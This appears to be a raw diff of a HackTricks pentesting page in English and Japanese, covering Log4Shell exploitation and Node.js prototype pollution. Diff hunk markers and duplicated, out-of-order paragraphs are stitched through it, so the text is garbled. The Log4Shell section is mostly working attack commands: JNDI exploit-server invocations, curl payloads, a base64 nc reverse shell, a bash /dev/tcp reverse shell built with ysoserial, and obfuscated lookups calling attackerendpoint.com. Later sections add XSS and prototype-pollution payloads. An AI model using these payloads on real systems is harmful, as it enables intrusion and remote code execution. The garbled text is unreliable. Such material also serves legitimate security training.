You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
利用可能なすべてのエクスプロイトは **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** で確認できます。いくつかの便利なものは次のとおりです:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
So, in our example, we already have that docker vulnerable app running. To attack it:
したがって、私たちの例では、すでにその脆弱なDockerアプリが実行されています。それを攻撃するには
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -288,16 +273,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
攻撃を送信すると、**JNDIExploit-1.2-SNAPSHOT.jar**を実行したターミナルに出力が表示されます。
When sending the attacks you will see some output in the terminal where you executed **JNDIExploit-1.2-SNAPSHOT.jar**.
**Remember to check `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` for other exploitation options. Moreover, in case you need it, you can change the port of the LDAP and HTTP servers.**
**他のエクスプロイトオプションについては、`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`を確認することを忘れないでください。さらに、必要に応じてLDAPおよびHTTPサーバーのポートを変更できます。**
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
In a similar way to the previous exploit, you can try to use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to exploit this vulnerability.\
You can generate the URLs to send to the victim running:
前のエクスプロイトと同様に、[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)を使用してこの脆弱性を悪用することができます。\
被害者に送信するためのURLを生成するには、次のコマンドを実行します:
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
@ -305,36 +288,30 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_This attack using a custom generated java object will work in labs like the **THM solar room**. However, this wont generally work (as by default Java is not configured to load remote codebase using LDAP) I think because its not abusing a trusted class to execute arbitrary code._
_この攻撃はカスタム生成されたJavaオブジェクトを使用しており、**THMソーラールーム**のようなラボで機能します。しかし、一般的には機能しませんデフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないためこれは、信頼されたクラスを悪用して任意のコードを実行していないためだと思います。_
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is another tool for generating **workable JNDI links** and provide background services by starting RMI server,LDAP server and HTTP server.\
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) は、**動作するJNDIリンク**を生成し、RMIサーバー、LDAPサーバー、HTTPサーバーを起動することによってバックグラウンドサービスを提供するための別のツールです。\
### RCE - ysoserial & JNDI-Exploit-Kit
This option is really useful to attack **Java versions configured to only trust specified classes and not everyone**. Therefore, **ysoserial** will be used to generate **serializations of trusted classes** that can be used as gadgets to **execute arbitrary code** (_the trusted class abused by ysoserial must be used by the victim java program in order for the exploit to work_).
Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:
このオプションは、**特定のクラスのみを信頼するように構成されたJavaバージョン**を攻撃するのに非常に便利です。したがって、**ysoserial**は、**任意のコードを実行するためのガジェットとして使用できる**信頼されたクラスの**シリアル化**を生成するために使用されます_ysoserialによって悪用される信頼されたクラスは、エクスプロイトが機能するために被害者のJavaプログラムによって使用される必要があります_
**ysoserial**または[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)を使用すると、JNDIによってダウンロードされるデシリアライズエクスプロイトを作成できます
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines. You can server **different exploit that can be automatically generated** by the JNDI-Exploit-Kit or even your **own deserialization payloads** (generated by you or ysoserial).
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit)を使用して、脆弱なマシンからの接続を待機する**JNDIリンク**を生成します。JNDI-Exploit-Kitによって自動的に生成される**異なるエクスプロイト**や、あなた自身の**デシリアライズペイロード**あなた自身またはysoserialによって生成されたものを提供することができます。
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../images/image (1118).png>)
Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/generated}`**
### Bypasses
これで、生成されたJNDIリンクを使用して脆弱性を悪用し、**リバースシェル**を取得することが簡単になります。脆弱なバージョンのlog4jに送信するだけです: **`${ldap://10.10.14.10:1389/generated}`**
### バイパス
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
@ -346,8 +323,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
### Automatic Scanners
### 自動スキャナー
- [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
- [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
@ -356,76 +332,72 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
- [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
- [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
- [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries
- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - ローカルの脆弱なライブラリを見つける
### Labs to test
### テスト用ラボ
- [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
- [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
- [**LogForge HTBマシン**](https://app.hackthebox.com/tracks/UHC-track)
- [**Try Hack Me Solarルーム**](https://tryhackme.com/room/solar)
- [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
- [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Post-Log4Shell Exploitation
## Post-Log4Shellの悪用
In this [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) is well explained how it's potentially **possible** to **abuse** some features of **Log4J**.
この[**CTFの解説**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**のいくつかの機能を**悪用することが可能**であることがよく説明されています。
The [**security page**](https://logging.apache.org/log4j/2.x/security.html) of Log4j has some interesting sentences:
Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文があります:
> From version 2.16.0 (for Java 8), the **message lookups feature has been completely removed**. **Lookups in configuration still work**. Furthermore, Log4j now disables access to JNDI by default. JNDI lookups in configuration now need to be enabled explicitly.
> バージョン2.16.0Java 8用から、**メッセージルックアップ機能は完全に削除されました**。**構成内のルックアップはまだ機能します**。さらに、Log4jはデフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップは明示的に有効にする必要があります。
> From version 2.17.0, (and 2.12.3 and 2.3.1 for Java 7 and Java 6), **only lookup strings in configuration are expanded recursively**; in any other usage, only the top-level lookup is resolved, and any nested lookups are not resolved.
> バージョン2.17.0Java 7およびJava 6用の2.12.3および2.3.1)から、**構成内のルックアップ文字列のみが再帰的に展開されます**。他の使用法では、最上位のルックアップのみが解決され、ネストされたルックアップは解決されません。
This means that by default you can **forget using any `jndi` exploit**. Moreover, to perform **recursive lookups** you need to have them configure.
For example, in that CTF this was configured in the file log4j2.xml:
これは、デフォルトでは**`jndi`の悪用を忘れることができる**ことを意味します。さらに、**再帰的ルックアップ**を実行するには、それらを構成する必要があります。
例えば、このCTFでは、log4j2.xmlファイルでこれが構成されていました
```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```
### 環境変数の検索
### Env Lookups
この [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) では、攻撃者は `${sys:cmd}` の値を制御し、環境変数からフラグを抽出する必要がありました。\
このページで見られる [**以前のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) では、**`${env:FLAG}`** のように環境変数にアクセスするいくつかの方法があります。このCTFでは無駄でしたが、他の実際のシナリオでは無駄ではないかもしれません。
In [this CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) the attacker controlled the value of `${sys:cmd}` and needed to exfiltrate the flag from an environment variable.\
As seen in this page in [**previous payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) there are different some ways to access env variables, such as: **`${env:FLAG}`**. In this CTF this was useless but it might not be in other real life scenarios.
### 例外における抽出
### Exfiltration in Exceptions
In the CTF, you **couldn't access the stderr** of the java application using log4J, but Log4J **exceptions are sent to stdout**, which was printed in the python app. This meant that triggering an exception we could access the content. An exception to exfiltrate the flag was: **`${java:${env:FLAG}}`.** This works because **`${java:CTF{blahblah}}`** doesn't exist and an exception with the value of the flag will be shown:
CTFでは、log4Jを使用してJavaアプリケーションの**stderrにアクセスできませんでした**が、Log4Jの**例外はstdoutに送信され**、Pythonアプリケーションに印刷されました。これは、例外をトリガーすることで内容にアクセスできることを意味しました。フラグを抽出するための例外は次のとおりです: **`${java:${env:FLAG}}`**。これは、**`${java:CTF{blahblah}}`** が存在しないため機能し、フラグの値を持つ例外が表示されます:
![](<../../images/image (1023).png>)
### Conversion Patterns Exceptions
### 変換パターンの例外
Just to mention it, you could also inject new [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) and trigger exceptions that will be logged to `stdout`. For example:
念のために言及すると、[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) を新たに注入し、`stdout` にログされる例外をトリガーすることも可能です。例えば:
![](<../../images/image (683).png>)
This wasn't found useful to exfiltrate date inside the error message, because the lookup wasn't solved before the conversion pattern, but it could be useful for other stuff such as detecting.
これは、エラーメッセージ内の日付を抽出するのには役立ちませんでした。なぜなら、変換パターンの前に検索が解決されなかったからですが、検出などの他のことには役立つかもしれません。
### Conversion Patterns Regexes
### 変換パターンの正規表現
However, it's possible to use some **conversion patterns that supports regexes** to exfiltrate information from a lookup by using regexes and abusing **binary search** or **time based** behaviours.
ただし、**正規表現をサポートするいくつかの変換パターン**を使用して、正規表現を利用し、**二分探索**または**時間ベース**の動作を悪用して情報を抽出することが可能です。
- **Binary search via exception messages**
The conversion pattern **`%replace`** can be use to **replace** **content** from a **string** even using **regexes**. It works like this: `replace{pattern}{regex}{substitution}`\
Abusing this behaviour you could make replace **trigger an exception if the regex matched** anything inside the string (and no exception if it wasn't found) like this:
- **例外メッセージによる二分探索**
変換パターン **`%replace`** は、**正規表現**を使用して**文字列**の**内容**を**置き換える**ために使用できます。動作は次のようになります: `replace{pattern}{regex}{substitution}`\
この動作を悪用することで、**正規表現が文字列内の何かに一致した場合に例外をトリガー**し(見つからなかった場合は例外なし)、次のようにすることができます:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
- **時間ベース**
- **Time based**
前のセクションで述べたように、**`%replace`**は**regexes**をサポートしています。したがって、フラグが見つかった場合に**タイムアウト**を引き起こすために、[**ReDoSページ**](../regular-expression-denial-of-service-redos.md)からペイロードを使用することが可能です。\
例えば、`%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}`のようなペイロードは、そのCTFで**タイムアウト**を引き起こします。
As it was mentioned in the previous section, **`%replace`** supports **regexes**. So it's possible to use payload from the [**ReDoS page**](../regular-expression-denial-of-service-redos.md) to cause a **timeout** in case the flag is found.\
For example, a payload like `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` would trigger a **timeout** in that CTF.
In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), instead of using a ReDoS attack it used an **amplification attack** to cause a time difference in the response:
この[**書き込み**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、ReDoS攻撃の代わりに**増幅攻撃**を使用して応答の時間差を引き起こしました:
> ```
> /%replace{
@ -444,11 +416,11 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
> }{#}{######################################################}
> ```
>
> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> フラグが`flagGuess`で始まる場合、全体のフラグは29個の`#`に置き換えられます(この文字を使用したのは、フラグの一部でない可能性が高いためです)。**結果として得られる29個の`#`は54個の`#`に置き換えられます**。このプロセスは**6回**繰り返され、合計で` 29*54*54^6* =`` `` `**`96816014208`** **`#`になります!**
>
> Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code)
> これほど多くの`#`を置き換えると、Flaskアプリケーションの10秒のタイムアウトが発生し、その結果、HTTPステータスコード500がユーザーに送信されます。フラグが`flagGuess`で始まらない場合、500以外のステータスコードを受け取ります
## References
## 参考文献
- [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
- [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
@ -460,4 +432,3 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
- [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,31 +1,28 @@
# NodeJS - \_\_proto\_\_ & prototype Pollution
# NodeJS - \_\_proto\_\_ とプロトタイプ汚染
{{#include ../../../banners/hacktricks-training.md}}
## Objects in JavaScript <a href="#id-053a" id="id-053a"></a>
Objects in JavaScript are essentially collections of key-value pairs, known as properties. An object can be created using `Object.create` with `null` as an argument to produce an empty object. This method allows the creation of an object without any inherited properties.
## JavaScriptのオブジェクト <a href="#id-053a" id="id-053a"></a>
JavaScriptのオブジェクトは本質的にキーと値のペアのコレクションであり、プロパティとして知られています。オブジェクトは、引数に`null`を指定して`Object.create`を使用することで空のオブジェクトを生成できます。このメソッドは、継承されたプロパティなしでオブジェクトを作成することを可能にします。
```javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
```
空のオブジェクトは空の辞書に似ており、`{}`として表されます。
An empty object is akin to an empty dictionary, represented as `{}`.
### Functions and Classes in JavaScript
In JavaScript, classes and functions are closely linked, with functions often serving as constructors for classes. Despite JavaScript's lack of native class support, constructors can emulate class behavior.
### JavaScriptの関数とクラス
JavaScriptでは、クラスと関数は密接に関連しており、関数はしばしばクラスのコンストラクタとして機能します。JavaScriptにはネイティブのクラスサポートがないにもかかわらず、コンストラクタはクラスの動作をエミュレートできます。
```javascript
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
@ -34,70 +31,62 @@ var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
```
### JavaScriptにおけるプロトタイプ
### Prototypes in JavaScript
JavaScriptは、ランタイムでプロトタイプ属性の変更、追加、または削除を許可します。この柔軟性により、クラス機能の動的拡張が可能になります。
JavaScript allows the modification, addition, or deletion of prototype attributes at runtime. This flexibility enables the dynamic extension of class functionalities.
`toString``valueOf`のような関数は、その動作を変更するために変更可能であり、JavaScriptのプロトタイプシステムの適応性を示しています。
Functions like `toString` and `valueOf` can be altered to change their behavior, demonstrating the adaptable nature of JavaScript's prototype system.
## 継承
## Inheritance
プロトタイプベースのプログラミングでは、プロパティ/メソッドはクラスからオブジェクトに継承されます。これらのクラスは、別のクラスのインスタンスまたは空のオブジェクトにプロパティ/メソッドを追加することで作成されます。
In prototype-based programming, properties/methods are inherited by objects from classes. These classes are created by adding properties/methods either to an instance of another class or to an empty object.
プロトタイプとして他のオブジェクトに機能するオブジェクト(例えば`myPersonObj`)にプロパティが追加されると、継承するオブジェクトはこの新しいプロパティにアクセスできることに注意が必要です。ただし、このプロパティは明示的に呼び出されない限り、自動的には表示されません。
It should be noted that when a property is added to an object serving as the prototype for other objects (such as `myPersonObj`), the inheriting objects gain access to this new property. However, this property is not automatically displayed unless it is explicitly invoked.
## \_\_proto\_\_汚染 <a href="#id-0d0a" id="id-0d0a"></a>
## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
## JavaScriptにおけるプロトタイプ汚染の探求
## Exploring Prototype Pollution in JavaScript
JavaScript objects are defined by key-value pairs and inherit from the JavaScript Object prototype. This means altering the Object prototype can influence all objects in the environment.
Let's use a different example to illustrate:
JavaScriptオブジェクトはキーと値のペアによって定義され、JavaScript Objectプロトタイプから継承されます。これは、Objectプロトタイプを変更することで、環境内のすべてのオブジェクトに影響を与える可能性があることを意味します。
別の例を使って説明しましょう:
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
```
Access to the Object prototype is possible through:
Objectプロトタイプへのアクセスは、次の方法で可能です
```javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
```
By adding properties to the Object prototype, every JavaScript object will inherit these new properties:
Objectプロトタイプにプロパティを追加することで、すべてのJavaScriptオブジェクトはこれらの新しいプロパティを継承します
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
```
## プロトタイプ汚染
## prototype pollution
For a scenario where `__proto__` usage is restricted, modifying a function's prototype is an alternative:
`__proto__` の使用が制限されているシナリオでは、関数のプロトタイプを変更することが代替手段です:
```javascript
function Vehicle(model) {
this.model = model
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
@ -105,65 +94,57 @@ console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
```
これは、`Vehicle` コンストラクタから作成されたオブジェクトのみに影響を与え、`beep``hasWheels``honk`、および `isElectric` プロパティを与えます。
This affects only objects created from the `Vehicle` constructor, giving them the `beep`, `hasWheels`, `honk`, and `isElectric` properties.
Two methods to globally affect JavaScript objects through prototype pollution include:
1. Polluting the `Object.prototype` directly:
プロトタイプ汚染を通じて JavaScript オブジェクトにグローバルに影響を与える2つの方法は次のとおりです
1. `Object.prototype` を直接汚染すること:
```javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
console.log("Goodbye!")
}
```
2. Polluting the prototype of a constructor for a commonly used structure:
2. 一般的に使用される構造体のコンストラクタのプロトタイプを汚染すること:
```javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
console.log("Hello!")
}
```
これらの操作の後、すべてのJavaScriptオブジェクトは`goodbye`および`greet`メソッドを実行できます。
After these operations, every JavaScript object can execute `goodbye` and `greet` methods.
## 他のオブジェクトを汚染する
## Polluting other objects
### From a class to Object.prototype
In an scenario where you can **pollute an specific object** and you need to **get to `Object.prototype`** you can search for it with something like the following code:
### クラスからObject.prototypeへ
特定のオブジェクトを**汚染**でき、**`Object.prototype`に到達する**必要があるシナリオでは、次のようなコードでそれを検索できます:
```javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
```
### 配列要素の汚染
### Array elements pollution
Note that as you can pollute attributes of objects in JS, if you have access to pollute an array you can also **pollute values of the array** accessible **by indexes** (note that you cannot overwrite values, so you need to pollute indexes that are somehow used but not written).
JSのオブジェクトの属性を汚染できるように、配列を汚染するアクセス権がある場合、**インデックスによってアクセス可能な配列の値も汚染できます**(値を上書きすることはできないため、何らかの形で使用されているが書き込まれていないインデックスを汚染する必要があります)。
```javascript
c = [1, 2]
a = []
@ -173,11 +154,9 @@ b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
```
### Html要素の汚染
### Html elements pollution
When generating a HTML element via JS it's possible to **overwrite** the **`innerHTML`** attribute to make it write **arbitrary HTML code.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
JSを介してHTML要素を生成する際、**`innerHTML`**属性を**上書き**して**任意のHTMLコードを書く**ことが可能です。[この書き込みからのアイデアと例](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。
```javascript
// Create element
devSettings["root"] = document.createElement('main')
@ -188,121 +167,111 @@ settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
```
## 例
## Examples
### 基本的な例
### Basic Example
A prototype pollution occurs due to a flaw in the application that allows overwriting properties on `Object.prototype`. This means that since most objects derive their properties from `Object.prototype`
The easies example is to add a value to an **undefiner attribute of an object** that is going to be checked, like:
プロトタイプ汚染は、`Object.prototype`のプロパティを上書きすることを許可するアプリケーションの欠陥によって発生します。これは、ほとんどのオブジェクトが`Object.prototype`からプロパティを継承するためです。
最も簡単な例は、チェックされるオブジェクトの**未定義の属性に値を追加する**ことです。
```javascript
if (user.admin) {
```
If the attribute **`admin` is undefined** it's possible to abuse a PP and set it to True with something like:
もし属性 **`admin` が未定義** の場合、PPを悪用してTrueに設定することが可能です。
```javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
このメカニズムは、攻撃者が特定の入力を制御できる場合、アプリケーション内のすべてのオブジェクトのプロトタイプを変更できるようにプロパティを操作することに関係しています。この操作は通常、`__proto__`プロパティを設定することを含み、JavaScriptではオブジェクトのプロトタイプを直接変更することと同義です。
The mechanism behind this involves manipulating properties such that if an attacker has control over certain inputs, they can modify the prototype of all objects in the application. This manipulation typically involves setting the `__proto__` property, which, in JavaScript, is synonymous with directly modifying an object's prototype.
この攻撃が成功裏に実行される条件は、特定の[研究](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)に概説されており、以下が含まれます:
The conditions under which this attack can be successfully executed, as outlined in a specific [study](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), include:
- Performing a recursive merge.
- Defining properties based on a path.
- Cloning objects.
- 再帰的マージを実行すること。
- パスに基づいてプロパティを定義すること。
- オブジェクトをクローンすること。
### Override function
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
### Proto Pollution to RCE
{{#ref}}
prototype-pollution-to-rce.md
{{#endref}}
Other payloads:
他のペイロード:
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
## Client-side prototype pollution to XSS
## クライアントサイドのプロトタイプ汚染からXSSへ
{{#ref}}
client-side-prototype-pollution.md
{{#endref}}
### CVE-201911358: Prototype pollution attack through jQuery $ .extend
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) In jQuery, the `$ .extend` function can lead to prototype pollution if the deep copy feature is utilized improperly. This function is commonly used for cloning objects or merging properties from a default object. However, when misconfigured, properties intended for a new object can be assigned to the prototype instead. For instance:
### CVE-201911358: jQuery $ .extendを通じたプロトタイプ汚染攻撃
[詳細についてはこの記事を確認してください](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQueryでは、`$ .extend`関数が深いコピー機能を不適切に利用するとプロトタイプ汚染を引き起こす可能性があります。この関数は、オブジェクトのクローンやデフォルトオブジェクトからのプロパティのマージによく使用されます。しかし、誤って設定された場合、新しいオブジェクト用のプロパティがプロトタイプに割り当てられることがあります。例えば:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
この脆弱性はCVE-201911358として特定されており、ディープコピーがプロトタイプを意図せずに変更する方法を示しています。これにより、`isAdmin`のようなプロパティが適切な存在確認なしにチェックされると、未承認の管理者アクセスなどの潜在的なセキュリティリスクが生じる可能性があります。
This vulnerability, identified as CVE-201911358, illustrates how a deep copy can inadvertently modify the prototype, leading to potential security risks, such as unauthorized admin access if properties like `isAdmin` are checked without proper existence verification.
### CVE-20183721、CVE-201910744: lodashによるプロトタイプ汚染攻撃
### CVE-20183721, CVE-201910744: Prototype pollution attack through lodash
[詳細についてはこの記事を確認してください](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[For further details check this article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash)は、同様のプロトタイプ汚染脆弱性CVE-20183721、CVE-201910744に直面しました。これらの問題はバージョン4.17.11で対処されました。
[Lodash](https://www.npmjs.com/package/lodash) encountered similar prototype pollution vulnerabilities (CVE-20183721, CVE-201910744). These issues were addressed in version 4.17.11.
### Another tutorial with CVEs
### CVEを含む別のチュートリアル
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
### Tools to detect Prototype Pollution
### プロトタイプ汚染を検出するためのツール
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite extension designed to detect and analyze server-side prototype pollution vulnerabilities in web applications. This tool automates the process of scanning requests to identify potential prototype pollution issues. It exploits known gadgets - methods of leveraging prototype pollution to execute harmful actions - particularly focusing on Node.js libraries.
- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): This extension identifies server side prototype pollution vulnerabilities. It uses techniques described in the [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): ウェブアプリケーションにおけるサーバーサイドのプロトタイプ汚染脆弱性を検出および分析するために設計されたBurp Suite拡張機能。このツールは、リクエストをスキャンして潜在的なプロトタイプ汚染の問題を特定するプロセスを自動化します。既知のガジェット - プロトタイプ汚染を利用して有害なアクションを実行する方法 - を悪用し、特にNode.jsライブラリに焦点を当てています。
